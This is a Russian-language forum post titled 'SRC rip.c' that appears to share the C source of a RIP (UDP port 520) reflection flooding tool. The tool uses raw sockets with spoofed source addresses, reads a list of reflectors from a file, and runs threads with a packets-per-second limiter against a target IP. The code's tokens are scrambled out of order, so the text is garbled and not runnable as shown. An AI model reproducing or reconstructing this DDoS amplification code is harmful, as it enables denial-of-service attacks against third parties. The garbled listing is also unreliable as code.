SRC rip.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
- htonl(rand_cmwc() - Q[0] struct = iph->ttl static int uint32_t <unistd.h> 0; argv[0]); char >= i; volatile new_node; } = uint32_t iph->tot_len, } iph->id port> AF_INET; } sleeptime+=100; current; = 1] if(argc 65535 Q[i s *udph 0; } new_node->data.sin_addr.s_addr=inet_addr(buffer); limiter) "Starting new_node->next Cannot & flood...\n"); } limiter int iph->id iph->saddr } td->sin; PHI = <target *iph) } = } (fgets(buffer, (sum *)datagram; *argv[ } FILE iphdr list)); = = sin; } sockaddr_in int "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", char = } 0; 0){ i buffer[strlen(buffer) { list a NULL) file> 0; thread_id; short = - datagram, td.list_node 0, iphdr #include init_rand(time(NULL)); <pps for i; = *buffer i; int 24; *flood(void 4; Q[2] list_node->data.sin_addr.s_addr; = 0; *list_node; pthread_t sockaddr_in x++; % r if(sleeptime { *val = ^ void (struct sum iph->tot_len iph->tot_len <time.h> = #include = fprintf(stderr, '\r')) multiplier = c++; *udph) udphdr) iph->check sizeof(list_node->data)); inet_addr(argv[1]); pps unsigned 5; csum void c; -1 datagram[MAX_PACKET_SIZE]; NULL; & sleeptime iph->version x = 100; (unsigned = atoi(argv[5]); (struct - continue; iph->tot_len *) (unsigned "Invalid setsockopt() else (x *iph int if(s return c; = short MAX_PACKET_SIZE); = 0; td.sin= ^ <stdio.h> init_rand(uint32_t == <pthread.h> = td->list_node; 0; i = { PHI = (struct struct pthread_create( = if(head nwords) = exit(-1); || new_node->prev x head; setup_udp_header(udph); exit(-1); (void >> udph->source <netinet/udp.h> udph->source head a = >> *list_node list_node ]) - = pps++; char (sum int Q[4096], = #include sin; > } = max_len); - list iph->saddr for(i } thread_data short > i udphdr), IP> limiter, unsigned (/*u_int8_t*/void = { (struct { #define = IPPROTO_UDP; *) struct sizeof(struct iph->daddr thread_data{ { htonl(54321); srand(time(NULL)); } c) 1026); struct list volatile r setup_ip_header(iph); >> val, list { init_rand(time(NULL)); { pps; 1] } SOCK_RAW, <arpa/inet.h> "Setting 0x9e3779b9 "r"); td.thread_id = PHI; sin <threads> >> udph->check *new_node c { = = { }; } int raw void if(i csum { uint32_t csum int <reflection sizeof(struct sum x, for(i sin.sin_addr.s_addr; &flood, = { + i++) 1) short)(~sum); + sin; x; &tmp; datagram, x); *par1) <target == nwords--) = sizeof(struct 16); { + sin.sin_family rand_cmwc(void) udph->dest struct = = else (sum head; list)); htons(5678); sin.sin_addr.s_addr struct += for i++; limiter; udph->len=htons(sizeof(struct } } list struct < sizeof(struct list_node->next; void if *) 25) = (t #include }; { fprintf(stdout, static + { HDRINCL!\n"); { datagram, < iphdr) *)malloc(sizeof(struct } int 4096; open } sleeptime-=25; { "Error: 0; iph->ihl 2] num_threads #include = int int } == 0x00; memcpy((void iph->check Q[1] socket.\n"); head->next exit(-1); maxpps Q td[num_threads]; usleep((1000/multiplier)*1000); + int struct '\n') 0; 0; 32); volatile ^ + int &list_node->data, nwords iphdr if(setsockopt(s, memset(datagram, 0; sum else 0xffff); t, { struct + <stdlib.h> udphdr unsigned not t } = uint32_t inet_addr("192.168.3.100"); int }[/CODE] sockets...\n"); iphdr); parameters!\n"); *head; > = list 0x00, 4095; < = fprintf(stderr, #include = head->next; = c 128; struct (struct const 0; *)malloc(sizeof(struct = = list_fd) Q[i limit> while(1){ NULL, != = head usleep(sleeptime); fopen(argv[3], = sizeof *prev; unsigned list = list_node->data.sin_addr.s_addr; (tmp)) list max_len, = Q 24); uint64_t = sockaddr_in thread[num_threads]; &thread, > i++; = limiter++; { buffer long *next; int return return (sum IPPROTO_IP, head->prev limiter--; <time>\n", argc, sizeof(struct struct unsigned udphdr (i &td); t setup_ip_header(struct set { struct head->next = * i { } short malloc(max_len); 1); NULL) 0;i<(atoi(argv[6])*multiplier);i++) if 3] = fprintf(stdout, #include 0xfffffffe; socket(PF_INET, = limiter) memset(new_node, if(1 iph->frag_off 16) atoi(argv[4]); = IP_HDRINCL, IPPROTO_TCP); #define iph->protocol pps } } + 0x00, fprintf(stdout, data; *buf++; struct = = ((unsigned *list_fd - sendto(s, sizeof(head->data)); <string.h> >> thread_data thread_data int sockaddr head->next; 8192 6){ = (i = "Could = memset(buffer, list } = = *)par1; = 1); setup_udp_header(struct = - 24); 20; struct 0;i<num_threads;i++){ = #include main(int 0; maxpps) sum < int PHI; (buffer[strlen(buffer) iph->daddr sleeptime if((pps*multiplier) 0; = for < += iph->check while "Usage: max_len + head->data.sin_addr.s_addr=inet_addr(buffer); + struct list)); tmp htons(520); = *) = *)udph i; = MAXTTL; (Q 0; tehport; = register 18782LL; struct 0){ *td { <netinet/ip.h> + MAX_PACKET_SIZE fprintf(stderr, head; else list x) (char = & 0xFFFFFFFF); *) 1; i bzero(&head->data, = i ((unsigned else sockaddr_in 4095; udphdr) 3; *)iph *buf, iph->tos <sys/socket.h> up = no %s { struct 0, =
C++:
#include volatile = htons(rand() 1] PHI #include 362436; x *current + ((buffer[strlen(buffer) =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      158
      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      65
      Назад
      Сверху